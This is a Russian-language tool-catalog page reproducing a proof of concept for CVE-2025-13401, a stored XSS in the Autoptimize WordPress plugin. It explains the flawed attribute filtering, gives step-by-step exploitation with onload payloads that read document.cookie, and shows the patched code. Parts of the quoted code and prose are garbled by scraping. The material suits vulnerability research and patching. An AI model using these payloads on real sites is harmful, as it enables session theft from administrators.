Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/ciscocamelo/cve-2025-13401-xss-stored
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHubciscocamelo/cve-2025-13401-xss-stored

CVE-2025-13401-XSS-Stored

Доказательство концепции для аутентифицированного хранимого XSS в Autoptimize < 3.1.14, использующего недостаточную очистку атрибутов при генерации тегов предзагрузки изображений.

Репозиторий
9 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Доказательство концепции: хранимый XSS в Autoptimize < 3.1.14

Уязвимость: хранимый межсайтовый скриптинг (XSS) для аутентифицированных пользователей (Contributor+) Затронутая версия: Autoptimize <= 3.1.13 Исправленная версия: Autoptimize 3.1.14 Файл: classes/autoptimizeImages.php

Описание

Уязвимость находится в методе create_img_preload_tag() внутри classes/autoptimizeImages.php. Эта функция отвечает за генерацию тегов <link rel="preload"> для изображений, найденных в контенте, когда включена оптимизация изображений или их предварительная загрузка.

В версии 3.1.13 функция использует подход «чёрного списка» (через preg_replace) для удаления определённых атрибутов, таких как title, alt, , , и , из исходного тега `` перед его преобразованием в тег . Однако она не удаляет атрибуты обработчиков событий, такие как или .

class
id
width
height
<link>
onload
onerror

Аутентифицированный злоумышленник (с ролью не ниже Contributor) может внедрить вредоносный тег `` в запись. Когда плагин обрабатывает эту запись для генерации preload-ссылок, вредоносный обработчик событий сохраняется и внедряется в <head> страницы внутри тега <link>. Поскольку <link rel="preload"> поддерживает событие onload, JavaScript выполняется при загрузке ресурса.

Уязвимый код (v3.1.13)

root@kitploit:~
// classes/autoptimizeImages.php

public static function create_img_preload_tag( $tag ) {
    // ...
    // rewrite img tag to link preload img.
    $_from = array( '<img ', ' src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/main/," sizes=', ' srcset=' );
    $_to   = array( '<link rel="preload" as="image" ', ' href=', ' imagesizes=', ' imagesrcset=' );
    $tag   = str_replace( $_from, $_to, $tag );

    // INSUFFICIENT SANITIZATION: Only removes specific attributes
    $tag = preg_replace( '/ ((?:title|alt|class|id|loading|fetchpriority|decoding|data-no-lazy|width|height)=".*")/Um', '', $tag );
    // ...
    return $tag;
}

Шаги доказательства концепции

Предварительные требования

  1. Установите Autoptimize версии 3.1.13.
  2. Включите «Optimize Images» или убедитесь, что предварительная загрузка изображений активна (например, через «Preload specific requests» или поведение по умолчанию, применяемое к изображениям).
    • Примечание: уязвимая функция create_img_preload_tag часто срабатывает для изображений, обнаруженных в области просмотра (viewport) или предзагружаемых явно.

Полезная нагрузка

root@kitploit:~
<img src="https://example.com/image.jpg" onload="alert('XSS_POC_SUCCESS')">

Эксплуатация

  1. Войдите как пользователь с ролью Contributor (или выше).
  2. Создайте новую запись.
  3. Внедрите полезную нагрузку в содержимое записи (с помощью блока Custom HTML или редактора кода).
    root@kitploit:~
    <!-- Malicious Image -->
    <img src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/main/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
    
    (Использование локального ресурса часто обеспечивает быстрое срабатывание события load. Подойдёт любой корректный URL изображения.)
  4. Сохраните запись.
  5. Дождитесь, пока администратор просмотрит запись (или просмотрите её сами).
  6. Плагин Autoptimize разберёт тег ``.
  7. Он сгенерирует preload-ссылку в HTML-исходнике:
    root@kitploit:~
    <link rel="preload" as="image" href="/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
    
    Примечание: атрибуты width, height и т. д. могут быть удалены, но onload остаётся.
  8. Браузер разбирает тег <link>, предзагружает ресурс и запускает событие onload, выполняя XSS.

Исправление в v3.1.14

Патч заменяет регулярное выражение «чёрного списка» на wp_kses(), что обеспечивает строгий «белый список» разрешённых атрибутов для генерируемого тега <link>.

root@kitploit:~
// classes/autoptimizeImages.php v3.1.14

$allowed_html = array(
    'link' => array(
        'rel'           => true,
        'as'            => true,
        'href'          => true,
        'imagesizes'    => true,
        'imagesrcset'   => true,
        'type'          => true,
        'media'         => true,
    ),
);
$tag = wp_kses( $tag, $allowed_html );
Скачать инструмент